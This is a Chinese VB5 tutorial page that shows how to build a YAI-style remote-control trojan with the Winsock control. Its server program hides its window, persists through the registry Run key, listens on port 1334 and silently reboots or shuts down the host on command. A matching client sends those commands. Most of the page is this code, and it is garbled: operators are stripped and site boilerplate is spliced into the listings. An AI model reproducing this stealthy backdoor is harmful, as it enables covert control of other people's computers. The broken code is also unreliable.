你也可以YAI--VB5中Winsock控件的使用

2016-02-19 15:46 8 1 收藏

下面这个你也可以YAI--VB5中Winsock控件的使用教程由图老师小编精心推荐选出,过程简单易学超容易上手,喜欢就要赶紧get起来哦!

【 tulaoshi.com - 编程语言 】

  前一段时间,一个名叫YAI的‘病毒’在我国闹的沸沸扬扬,许多不明真相的人

  对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的

  服务器端程序隐藏的十分好而已。其实在VB5中有一个基于TCPIP协议的Winsock控

  件,利用他改改属性,写几段代码,我们同样可以来一回YAI.

  由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现

  的。打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点

  部件,再将Microsoft Winsock Control 5.0选中确定后,就可以将Winsock

  控件添加到工具箱中了。

  远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两

  部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。

  服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序

  则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。

  因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客

  户程序则要设置RemoteHost和RemotePort及应用Connect方法请求连接,并用Senddata

  方法互换信息。下面是Winsock控件的相关属性,方法和事件。(略去一些暂用不到的)

  *属性

  -------------------------------------------------------------------------

  LocalHostName | 本地机器名

  LocalIP | 本地机器IP地址

  LocalPort | 本地机器通信程序的端口(0端口65536)

  RemoteHost | 远程机器名

  RemotePort | 远程机器的通信程序端口

  state | 连接的当前状态(文后有详细说明)

  Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)

  --------------------------------------------------------------------------

  *方法

  --------------------------------------------------------------------------

  Listen

  Listen方法用于服务器程序,等待客户访问。

  格式:Winsock对象.listen

  Connect

  Connect方法用于向远程主机发出连接请求

  格式:Winsock对象.connect [远程主机IP,远程端口]

  Accept

  Accept方法用于接受一个连接请求

  格式:Winsock对象.accept Request ID

  Senddata

  此方法用于发送数据

  格? Winsock对象.senddata 数据

  Getdata

  用来取得接收到的数据

  格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]

  Close

  关闭当前连接

  格式:Winsock对象.close

  *事件

  ----------------------------------------------------------------------------

  Close | 远程机器关闭连接时触发

  Connect | 连接建立好,可以进行通信时触发(客户端)

  ConnectRequest | 有请求连接到达时产生(服务器端)

  DataArrival | 有数据到达时触发

  Error | 发生错误时发生

  SendProgress | 数据传送进度

  -----------------------------------------------------------------------------

  程序代码如下:

  --》服务器端程序(server.exe)

  先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的

  属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可

  手工在注册表HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

  中增加键值"winserver"="c:windowsserver.exe"或配置文件Win.ini的Load,run写入

  "C:windowsserver.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表

  的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.

  Private Sub Form_Load()

  On Error GoTo skip 如此端口已有通信程序则退出

  Winsock1.LocalPort = 1334 端口值应大于1024,如还有冲突可改为其他值

  Winsock1.Listen

  Exit Sub

  skip:

  If Err.Number = 10048 Then

  MsgBox "端口冲突,退出!", vbOKOnly, "注意!"

  End

  End If

  End Sub

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  Private Sub Winsock1_Close()

  If Winsock1.State sckClosed Then Winsock1.Close

  Winsock1.Listen 关闭连接后继续监听

  End Sub

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

  If Winsock1.State sckClosed Then Winsock1.Close

  Winsock1.Accept requestID 请求到达时,接受连接

  End Sub

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

  Dim strget As String

  Dim ccom As String

  Winsock1.GetData strget 读取到达的数据

  Select Case strget

  Case "a" 判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)

  ccom = curr_win() + "RUNDLL.EXE user.exe,exitwindowsexec" 不同机器设置不一样

  Call Shell(ccom, vbHide) 由函数curr_win()来判断

  Case "b" 如为‘b’则关闭计算机

  ccom = curr_win() + "RUNDLL.EXE user.exe,exitwindows"

  Call Shell(ccom, vbHide) 函数shell来执行命令

  Case Else 可以在此加入其他命令

  End Select

  End Sub

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  Function curr_win() As String

  Dim i As Integer

  Dim enstr As String

  i = 1 此函数通过读取环境变量来获得Windows目录

  enstr = Environ(i)

  Do While enstr ""

  If Len(enstr) 11 Then

  If Left(enstr, 11) = "winbootdir=" Then

  curr_win = Right(enstr, Len(enstr) - 11)

  Exit Do

  End If

  End If

  i = i + 1

  enstr = Environ(i)

  Loop

  End Function

  Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal

  Scode As Long, ByVal Source As String, ByVal HelpFile As String,

  ByVal HelpContext As Long, CancelDisplay As Boolean)

  MsgBox "错误", vbOKOnly, "注意!" 如程序出现错误,则简单的退出

  End

  End Sub

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  --》客户端程序(Client.exe)

  程序界面如图[control.jpg]

  防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:

  ------------------------------------------------------------------------- -

  控件名 | 控件类 | 属性 | 属性值

  ----------------------------------------------------------------------------

  closewin_but | commandbutton | caption | 远程关闭

  startwin_but | commandbutton | caption | 远程重启

  connect_but | commandbutton | caption | 连接

  exit_but | commandbutton | caption | 退出

  state_lab | label | borderstyle | 1

  -----------------------------------------------------------------------------

  代码如下:

  Private Sub Form_Load()

  Winsock1.LocalPort = 22226 本地端口可任选,只要不冲突且小于65535,用

  netstat -an命令可查看当前通信进程

  Winsock1.RemoteHost = "127.0.0.1" 调试时此IP将对本机操作,实际应用时可

  换上被控方IP

  Winsock1.RemotePort = 1334 对应服务器端的localport

  state_lab = "未建立连接."

  End Sub

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  Private Sub closewin_but_Click()

  If Winsock1.State sckConnected Then

  state_lab = "请先建立连接"

  Else

  Winsock1.SendData "b" 发出关闭命令

  End If

  End Sub

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  Private Sub startwin_but_Click()

  If Winsock1.State sckConnected Then

  state_lab = "请先建立连接"

  Else

  Winsock1.SendData "a" 发出重启命令

  End If

  End Sub

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  Private Sub connect_but_Click()

  On Error GoTo skip

  If Winsock1.State = sckConnected Then

  state_lab = "已建立连接了"

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  Else

  Winsock1.Connect

  End If

  Exit Sub

  skip: 用netstat命令看到状态为Time_wait则

  If Err.Number = 10048 Then 须等待一段时间才可连接,也可换另一

  端口,可加快连接速度

  MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"

  End

  End If

  End Sub

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/bianchengyuyan/)

  Private Sub exit_but_Click()

  Winsock1.Close 关闭连接且退出

来源:http://www.tulaoshi.com/n/20160219/1610351.html

延伸阅读
标签: Delphi
  Delphi是一个强大的开发工具,它有很多动人之处,其中之一就是开放性。它是一个完全开放的系统。当IDE中原有的控件不能满足我们所需时,可以添加第三方的控件。相信每一个Delphi程序员都见识过大名鼎鼎的AHM和LMD以及RxLib等第三方控件包。但这些控件包也并非完美无缺。当这些控件也不能完全满足我们时,有没有想过自己写一个来用呢...
在VB编程中,经常要根据不同的情况在运行时向窗口中添加或者删除控件,而各个控件还要响应各种事件。在一般的情况下是首先在设计时将控件加入到窗口中,在它们的各个事件中写入代码,然后将它们的Visible属性设置为False。在运行时再使控件显示出来,但是这样既不方便同时也因为在设计时在窗口中加入太多的控件而使得程序的运行速度变慢。...
AutoCAD是一个常用工业绘图平台,用户在使用时经常要用Lisp或ADS进行二次开发,但Lisp处理数据库能力差,编制界面困难,而ADS要求较高.相比之下,VisualBasic(以下简称VB)编写独立程序的速度快,编制界面容易,可进行快速计算,可操作数据库。ACADWIN是AUTOCAD的Windows版程序,具有WINDOWS的许多特点。可以利用DDE进行VB与ACADWIN之间的通讯,实现...
在VB6中动态创建使用ADO控件访问数据库 使用ADO控件可以方便的在VB6中访问ODBC数据库,但是通过直接放置ADODS控件来获得ADO的数据连接比较麻烦,我们可以在VB工程中创建一个公共数据模块,将ADO控件的初始化、建立连接、关闭连接等操作都写到函数中,这样就可以在工程的其他模块中共享调用这个ADO连接。 一次完整的ADO调用操作分为如下几个步骤...
Progress控件能让人们感受到一个应用程序执行的进度,在很多应用程序中都能用到它,但通常只支持在单任务中,在Windows98/NT中文操作系统下,在VC++6.0环境下,利用线程编制了一个非常小巧的应用程序来实现Progress控件的使用。它可以支持多线程,使用起来很方便。以下是这个应用程序的源代码: //ProgressDialog.h class CProgressD...

经验教程

618

收藏

60
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部